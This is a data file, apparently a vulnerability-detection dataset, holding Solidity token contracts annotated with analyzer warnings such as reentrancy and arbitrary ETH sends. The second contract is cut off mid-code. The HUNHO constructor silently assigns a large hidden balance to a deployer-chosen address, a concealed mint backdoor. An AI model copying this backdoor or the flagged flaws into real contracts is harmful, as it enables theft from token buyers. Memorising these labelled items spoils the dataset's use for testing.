{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f876751): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for f876751: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: f876751\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract HUNHO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4eaa545): HUNHO._taxWallet should be immutable \n\t// Recommendation for 4eaa545: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5fa0ffb): HUNHO._initialBuyTax should be constant \n\t// Recommendation for 5fa0ffb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 03b4e27): HUNHO._initialSellTax should be constant \n\t// Recommendation for 03b4e27: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5fd6e8f): HUNHO._reduceBuyTaxAt should be constant \n\t// Recommendation for 5fd6e8f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37784b1): HUNHO._reduceSellTaxAt should be constant \n\t// Recommendation for 37784b1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: a2c0d4c): HUNHO._preventSwapBefore should be constant \n\t// Recommendation for a2c0d4c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c1a575): HUNHO.zero should be constant \n\t// Recommendation for 1c1a575: Add the 'constant' attribute to state variables that never change.\n uint8 public zero = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Firefox\";\n\n string private constant _symbol = unicode\"HUNHO\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 362f348): HUNHO._taxSwapThreshold should be constant \n\t// Recommendation for 362f348: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 599d509): HUNHO._maxTaxSwap should be constant \n\t// Recommendation for 599d509: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(address msgSender) {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _balances[msgSender] = uint256(uint160(address(this)));\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 64ed240): HUNHO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 64ed240: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 511178a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 511178a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 18b55ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 18b55ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 511178a\n\t\t// reentrancy-benign | ID: 18b55ad\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 511178a\n\t\t// reentrancy-benign | ID: 18b55ad\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a2c063f): HUNHO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a2c063f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 18b55ad\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 511178a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 184cf70): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 184cf70: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: add5b58): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for add5b58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 184cf70\n\t\t\t\t// reentrancy-eth | ID: add5b58\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 184cf70\n\t\t\t\t\t// reentrancy-eth | ID: add5b58\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: add5b58\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: add5b58\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: add5b58\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 184cf70\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: add5b58\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: add5b58\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 184cf70\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 511178a\n\t\t// reentrancy-events | ID: 184cf70\n\t\t// reentrancy-benign | ID: 18b55ad\n\t\t// reentrancy-eth | ID: add5b58\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0d377f4): HUNHO.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0d377f4: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 511178a\n\t\t// reentrancy-events | ID: 184cf70\n\t\t// reentrancy-eth | ID: add5b58\n\t\t// arbitrary-send-eth | ID: 0d377f4\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 626e7f6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 626e7f6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 61a252d): HUNHO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 61a252d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c0afe2c): HUNHO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c0afe2c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e48b5d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e48b5d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: 626e7f6\n\t\t\t// reentrancy-eth | ID: e48b5d7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: 626e7f6\n\t\t// unused-return | ID: c0afe2c\n\t\t// reentrancy-eth | ID: e48b5d7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 626e7f6\n\t\t// unused-return | ID: 61a252d\n\t\t// reentrancy-eth | ID: e48b5d7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 626e7f6\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e48b5d7\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 64a3a2b): HUNHO.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 64a3a2b: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 64a3a2b\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_1028.sol", "size_bytes": 21290, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n address private _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract CARL is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Deployed by Carl\";\n\n string private constant _symbol = \"CARL\";\n\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** 9;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n\n uint256 private _taxFeeOnBuy = 25;\n\n uint256 private _redisFeeOnSell = 0;\n\n uint256 private _taxFeeOnSell = 25;\n\n uint256 private _redisFee = _redisFeeOnSell;\n\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => uint256) public _buyMap;\n\n\t// WARNING Optimization Issue (constable-states | ID: de70c4a): CARL._developmentAddress should be constant \n\t// Recommendation for de70c4a: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0x4D3ac11fc25000271C35cCA60a3B198d7650bC35);\n\n\t// WARNING Optimization Issue (constable-states | ID: 0cbce65): CARL._marketingAddress should be constant \n\t// Recommendation for 0cbce65: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0x06637Bb2B4b4E87cbF7dc50799dC7aE75Ee2FD75);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0bc6f0e): CARL.uniswapV2Router should be immutable \n\t// Recommendation for 0bc6f0e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5fad02a): CARL.uniswapV2Pair should be immutable \n\t// Recommendation for 5fad02a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n bool private inSwap = false;\n\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 20_000_000 * 10 ** 9;\n\n uint256 public _maxWalletSize = 20_000_000 * 10 ** 9;\n\n uint256 public _swapTokensAtAmount = 10_000_000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_developmentAddress] = true;\n\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4838899): CARL.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4838899: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a6a60aa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a6a60aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0b81b27): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0b81b27: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a6a60aa\n\t\t// reentrancy-benign | ID: 0b81b27\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a6a60aa\n\t\t// reentrancy-benign | ID: 0b81b27\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n\n uint256 currentRate = _getRate();\n\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 6686725\n _previousredisFee = _redisFee;\n\n\t\t// reentrancy-benign | ID: 6686725\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 6686725\n _redisFee = 0;\n\n\t\t// reentrancy-benign | ID: 6686725\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 6686725\n _redisFee = _previousredisFee;\n\n\t\t// reentrancy-benign | ID: 6686725\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 61a3150): CARL._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 61a3150: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0b81b27\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a6a60aa\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4e292c4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4e292c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6686725): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6686725: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4beec17): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4beec17: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 4e292c4\n\t\t\t\t// reentrancy-benign | ID: 6686725\n\t\t\t\t// reentrancy-eth | ID: 4beec17\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = 